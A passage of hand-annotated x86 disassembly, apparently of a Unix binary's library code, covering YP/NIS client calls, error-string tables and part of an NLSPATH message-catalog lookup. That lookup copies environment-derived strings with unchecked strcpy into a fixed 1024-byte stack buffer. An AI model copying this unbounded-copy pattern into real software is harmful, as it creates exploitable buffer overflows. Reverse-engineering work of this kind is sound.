		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	dword ptr [ebp-18h], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_0_805DB80
		mov	ecx, [ebp+8]
		cmp	byte ptr [ecx],	0
		jz	short loc_0_805DB80
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_0_805DB80
		mov	ecx, [ebp+0Ch]
		cmp	byte ptr [ecx],	0
		jnz	short loc_0_805DB8C

loc_0_805DB80:				; CODE XREF: .text:0805DB68j
					; .text:0805DB70j ...
		mov	eax, 1
		jmp	loc_0_805DC65
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DB8C:				; CODE XREF: .text:0805DB7Ej
					; .text:0805DC5Aj
		lea	edx, [ebp-4]
		push	edx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_0_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805DBAC
		mov	eax, 3
		jmp	loc_0_805DC65
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DBAC:				; CODE XREF: .text:0805DB9Ej
		mov	esi, ds:dword_0_8069030
		xor	edi, edi
		mov	ecx, [ebp+8]
		mov	[ebp-14h], ecx
		mov	ecx, [ebp+0Ch]
		mov	[ebp-10h], ecx
		push	8
		lea	ebx, [ebp-0Ch]
		push	ebx
		call	sub_0_806626C
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		mov	[ebp-1Ch], edx
		mov	eax, [edx+4]
		push	edi
		push	esi
		push	ebx
		push	offset sub_0_8066664
		lea	edx, [ebp-14h]
		push	edx
		push	offset sub_0_8066564
		push	0Ah
		mov	ecx, [ebp-1Ch]
		push	ecx
		mov	edx, [eax]
		call	edx
		add	esp, 28h
		test	eax, eax
		jnz	short loc_0_805DC24
		mov	edx, [ebp-8]
		mov	ecx, [ebp+10h]
		mov	[ecx], edx
		push	ebx
		push	offset sub_0_8066664
		call	sub_0_8064E74
		mov	edx, [ebp-4]
		push	edx
		call	sub_0_805D2F4
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_0_805DFE0
		jmp	short loc_0_805DC65
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DC24:				; CODE XREF: .text:0805DBFAj
		push	offset aYp_orderClnt_c ; "yp_order: clnt_call"
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		push	edx
		call	sub_0_8063894
		mov	edx, [ebp-4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_0_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp-18h]
		inc	dword ptr [ebp-18h]
		cmp	ds:dword_0_8069034, edx
		jg	loc_0_805DB8C
		mov	eax, 2

loc_0_805DC65:				; CODE XREF: .text:0805DB85j
					; .text:0805DBA5j ...
		lea	esp, [ebp-28h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	dword ptr [ebp-18h], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_0_805DC9C
		mov	ecx, [ebp+8]
		cmp	byte ptr [ecx],	0
		jz	short loc_0_805DC9C
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_0_805DC9C
		mov	ecx, [ebp+0Ch]
		cmp	byte ptr [ecx],	0
		jnz	short loc_0_805DCA8

loc_0_805DC9C:				; CODE XREF: .text:0805DC84j
					; .text:0805DC8Cj ...
		mov	eax, 1
		jmp	loc_0_805DD9C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DCA8:				; CODE XREF: .text:0805DC9Aj
					; .text:0805DD50j
		lea	edx, [ebp-4]
		push	edx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_0_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805DCC8
		mov	eax, 3
		jmp	loc_0_805DD9C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DCC8:				; CODE XREF: .text:0805DCBAj
		mov	esi, ds:dword_0_8069030
		xor	edi, edi
		mov	ecx, [ebp+8]
		mov	[ebp-14h], ecx
		mov	ecx, [ebp+0Ch]
		mov	[ebp-10h], ecx
		push	8
		lea	ebx, [ebp-0Ch]
		push	ebx
		call	sub_0_806626C
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		mov	[ebp-1Ch], edx
		mov	eax, [edx+4]
		push	edi
		push	esi
		push	ebx
		push	offset sub_0_8066628
		lea	edx, [ebp-14h]
		push	edx
		push	offset sub_0_8066564
		push	9
		mov	ecx, [ebp-1Ch]
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_0_805DD60
		push	offset aYp_masterClnt_ ; "yp_master: clnt_call"
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		push	edx
		call	sub_0_8063894
		mov	edx, [ebp-4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_0_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp-18h]
		inc	dword ptr [ebp-18h]
		cmp	ds:dword_0_8069034, edx
		jg	loc_0_805DCA8
		mov	eax, 2
		jmp	short loc_0_805DD9C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DD60:				; CODE XREF: .text:0805DD18j
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_0_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_0_805DD83
		call	strdup(ebp-8)
		mov	ecx, [ebp+10h]
		mov	[ecx], eax

loc_0_805DD83:				; CODE XREF: .text:0805DD70j
		lea	edx, [ebp-0Ch]
		push	edx
		push	offset sub_0_8066628
		call	sub_0_8064E74
		mov	edx, [ebp-4]
		push	edx
		call	sub_0_805D2F4
		mov	eax, ebx

loc_0_805DD9C:				; CODE XREF: .text:0805DCA1j
					; .text:0805DCC1j ...
		lea	esp, [ebp-28h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_0_805DDC6
		mov	ecx, [ebp+8]
		cmp	byte ptr [ecx],	0
		jnz	short loc_0_805DDD0

loc_0_805DDC6:				; CODE XREF: .text:0805DDBCj
		mov	eax, 1
		jmp	loc_0_805DE91
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805DDD0:				; CODE XREF: .text:0805DDC4j
					; .text:0805DE86j
		lea	edx, [ebp-4]
		push	edx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_0_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805DDF0
		mov	eax, 3
		jmp	loc_0_805DE91
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DDF0:				; CODE XREF: .text:0805DDE2j
		mov	esi, ds:dword_0_8069030
		xor	edi, edi
		push	8
		lea	ebx, [ebp-0Ch]
		push	ebx
		call	sub_0_806626C
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		mov	ecx, [edx+4]
		mov	[ebp-14h], ecx
		push	edi
		push	esi
		push	ebx
		push	offset sub_0_8066754
		mov	ecx, [ebp+8]
		push	ecx
		push	offset sub_0_8066464
		push	0Bh
		push	edx
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		call	edx
		add	esp, 28h
		test	eax, eax
		jnz	short loc_0_805DE50
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], edx
		mov	edx, [ebp-4]
		push	edx
		call	sub_0_805D2F4
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_0_805DFE0
		jmp	short loc_0_805DE91
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805DE50:				; CODE XREF: .text:0805DE32j
		push	offset aYp_maplistClnt ; "yp_maplist: clnt_call"
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		push	edx
		call	sub_0_8063894
		mov	edx, [ebp-4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_0_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp-10h]
		inc	dword ptr [ebp-10h]
		cmp	ds:dword_0_8069034, edx
		jg	loc_0_805DDD0
		mov	eax, 2

loc_0_805DE91:				; CODE XREF: .text:0805DDCBj
					; .text:0805DDE9j ...
		lea	esp, [ebp-20h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		cmp	eax, 10h	; switch 17 cases 
		ja	loc_0_805DFC4	; default
		jmp	ds:off_0_805DEB4[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_805DEB4	dd offset loc_0_805DEF8	; DATA XREF: .text:0805DEABr
		dd offset loc_0_805DF04	; jump table for switch	statement
		dd offset loc_0_805DF10
		dd offset loc_0_805DF1C
		dd offset loc_0_805DF28
		dd offset loc_0_805DF34
		dd offset loc_0_805DF40
		dd offset loc_0_805DF4C
		dd offset loc_0_805DF58
		dd offset loc_0_805DF64
		dd offset loc_0_805DF70
		dd offset loc_0_805DF7C
		dd offset loc_0_805DF88
		dd offset loc_0_805DF94
		dd offset loc_0_805DFA0
		dd offset loc_0_805DFAC
		dd offset loc_0_805DFB8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805DEF8:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aSuccess ; case 0
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF04:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aRequestArgumen ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF10:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aRpcFailure	; case 0x2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF1C:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aCanTBindToServ ; case 0x3
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF28:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aNoSuchMapInSer ; case 0x4
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF34:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aNoSuchKeyInMap ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF40:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aYpServerError ; case 0x6
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF4C:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aLocalResourceA ; case 0x7
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF58:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aNoMoreRecordsI ; case 0x8
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF64:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aCanTCommunicat ; case 0x9
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF70:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aCanTCommunic_0 ; case 0xa
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF7C:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aCanTCommunic_1 ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF88:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aLocalDomainNam ; case 0xc
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DF94:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aServerDataBase ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DFA0:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aYpServerVersio ; case 0xe
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DFAC:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aAccessViolatio ; case 0xf
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DFB8:				; CODE XREF: .text:0805DEABj
					; DATA XREF: .text:0805DEB4o
		mov	eax, offset aDatabaseIsBusy ; case 0x10
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DFC4:				; CODE XREF: .text:0805DEA5j
		call	sprintf(unk_0_807e308,'YP unknown error %d\n',eax)
		mov	eax, offset unk_0_807E308
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805DFE0	proc near		; CODE XREF: sub_0_805D3A8+1A8p
					; sub_0_805D638+120p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		add	eax, 8		; switch 11 cases 
		cmp	eax, 0Ah
		ja	loc_0_805E09C	; default
		jmp	ds:off_0_805DFFC[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_805DFFC	dd offset loc_0_805E090	; DATA XREF: sub_0_805DFE0+12r
		dd offset loc_0_805E084	; jump table for switch	statement
		dd offset loc_0_805E06C
		dd offset loc_0_805E078
		dd offset loc_0_805E06C
		dd offset loc_0_805E060
		dd offset loc_0_805E054
		dd offset loc_0_805E048
		dd offset loc_0_805E030
		dd offset loc_0_805E028
		dd offset loc_0_805E03C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E028:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		xor	eax, eax	; case 0x1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E030:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 0Ah	; case 0
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E03C:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 8		; case 0x2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E048:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 4		; case -0x1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E054:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 0Ch	; case -0x2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E060:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 5		; case -0x3
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E06C:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 6		; case -0x6
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E078:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 0Dh	; case -0x5
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E084:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 1		; case -0x7
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E090:				; CODE XREF: sub_0_805DFE0+12j
					; DATA XREF: sub_0_805DFE0+1Co
		mov	eax, 0Eh	; case -0x8
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E09C:				; CODE XREF: sub_0_805DFE0+Cj
		mov	eax, 6		; default
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805DFE0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		cmp	ds:byte_0_807E358, 0
		jnz	short loc_0_805E0E3
		lea	eax, [ebp-4]
		push	eax
		call	sub_0_805D5F8
		add	esp, 4
		test	eax, eax
		jnz	short loc_0_805E0FB
		mov	esi, offset byte_0_807E358
		mov	edi, offset aNone ; "(none)"
		mov	ecx, 7
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_805E0FB

loc_0_805E0E3:				; CODE XREF: .text:0805E0BBj
		test	ebx, ebx
		jz	short loc_0_805E0ED
		mov	dword ptr [ebx], offset	byte_0_807E358

loc_0_805E0ED:				; CODE XREF: .text:0805E0E5j
		push	offset byte_0_807E358
		call	sub_0_805D328
		test	eax, eax
		jz	short loc_0_805E100

loc_0_805E0FB:				; CODE XREF: .text:0805E0CBj
					; .text:0805E0E1j
		xor	eax, eax
		jmp	short loc_0_805E105
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E100:				; CODE XREF: .text:0805E0F9j
		mov	eax, 1

loc_0_805E105:				; CODE XREF: .text:0805E0FDj
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E110	proc near		; CODE XREF: sub_0_805E954+1Fp

var_464		= byte ptr -464h
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= byte ptr -440h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 458h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_444], 0
		mov	[ebp+var_448], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805E16E
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax],	0
		jz	short loc_0_805E16E
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	2Fh
		jnz	short loc_0_805E178
		mov	[ebp+var_444], ecx
		call	stat(1,var_444,&var_440)
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jz	loc_0_805E3D6

loc_0_805E16E:				; CODE XREF: sub_0_805E110+24j
					; sub_0_805E110+2Cj ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_805E3EF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E178:				; CODE XREF: sub_0_805E110+34j
		push	0
		push	5
		call	sub_0_8062D4C
		mov	[ebp+var_44C], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_805E198
		mov	[ebp+var_44C], offset aC_1 ; "C"

loc_0_805E198:				; CODE XREF: sub_0_805E110+7Cj
		call	getenv('NLSPATH')
		mov	esi, eax
		test	esi, esi
		jnz	short loc_0_805E1B0
		mov	esi, offset aEtcLocaleLN_ca ; "/etc/locale/%L/%N.cat:/usr/lib/locale/%"...

loc_0_805E1B0:				; CODE XREF: sub_0_805E110+99j
		cmp	dword_0_8078F98, 0
		jz	loc_0_805E268
		mov	edx, strlen(esi)+1
		mov	eax, strlen(dword_0_8078F98)+1
		call	malloc(eax+edx)
		mov	[ebp+var_448], eax
		test	eax, eax
		jz	loc_0_805E16E
		call	strcpy(var_448,esi)
		mov	edx, strlen(var_448)+1
		mov	[ebp+var_458], edx
		mov	eax, [ebp+var_448]
		cmp	byte ptr [eax+edx-2], 3Ah
		jz	short loc_0_805E24D
		mov	eax, dword_0_8078F98
		cmp	byte ptr [eax],	3Ah
		jz	short loc_0_805E24D
		call	strcat(var_448,':')

loc_0_805E24D:				; CODE XREF: sub_0_805E110+11Dj
					; sub_0_805E110+127j
		call	strcat(var_448,dword_0_8078F98)
		mov	esi, [ebp+var_448]

loc_0_805E268:				; CODE XREF: sub_0_805E110+A7j
		mov	edx, strlen(esi)+1
		mov	[ebp+var_458], edx
		mov	ebx, edx
		dec	ebx
		call	malloc(edx+1)
		mov	[ebp+var_450], eax
		mov	[ebp+var_454], eax
		test	eax, eax
		jnz	short loc_0_805E2B0
		jmp	loc_0_805E16E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E2A4:				; CODE XREF: sub_0_805E110+270j
		mov	[ebp+var_444], ebx
		jmp	loc_0_805E3A2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E2B0:				; CODE XREF: sub_0_805E110+18Dj
		call	strcpy(var_454,esi)
		mov	eax, [ebp+var_454]
		mov	byte ptr [ebx+eax], 3Ah
		mov	byte ptr [eax+ebx+1], 0
		mov	esi, [ebp+var_454]
		cmp	byte ptr [eax],	0
		jz	loc_0_805E3A2

loc_0_805E2E0:				; CODE XREF: sub_0_805E110+28Cj
		mov	ecx, [ebp+var_454]
		cmp	byte ptr [ecx],	3Ah
		jnz	loc_0_805E38D
		mov	byte ptr [ecx],	0
		lea	ebx, [ebp+var_400]
		cmp	byte ptr [esi],	0
		jz	short loc_0_805E363

loc_0_805E300:				; CODE XREF: sub_0_805E110+251j
		cmp	byte ptr [esi],	25h
		jnz	short loc_0_805E358
		cmp	byte ptr [esi+1], 4Ch
		jnz	short loc_0_805E324
		inc	esi
		call	strcpy(ebx,var_44c)
		mov	edi, [ebp+var_44C]
		jmp	short loc_0_805E338
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E324:				; CODE XREF: sub_0_805E110+1F9j
		cmp	byte ptr [esi+1], 4Eh
		jnz	short loc_0_805E358
		inc	esi
		call	strcpy(ebx,arg_0)
		mov	edi, [ebp+arg_0]

loc_0_805E338:				; CODE XREF: sub_0_805E110+20Fj
		mov	edx, strlen(edi)+1
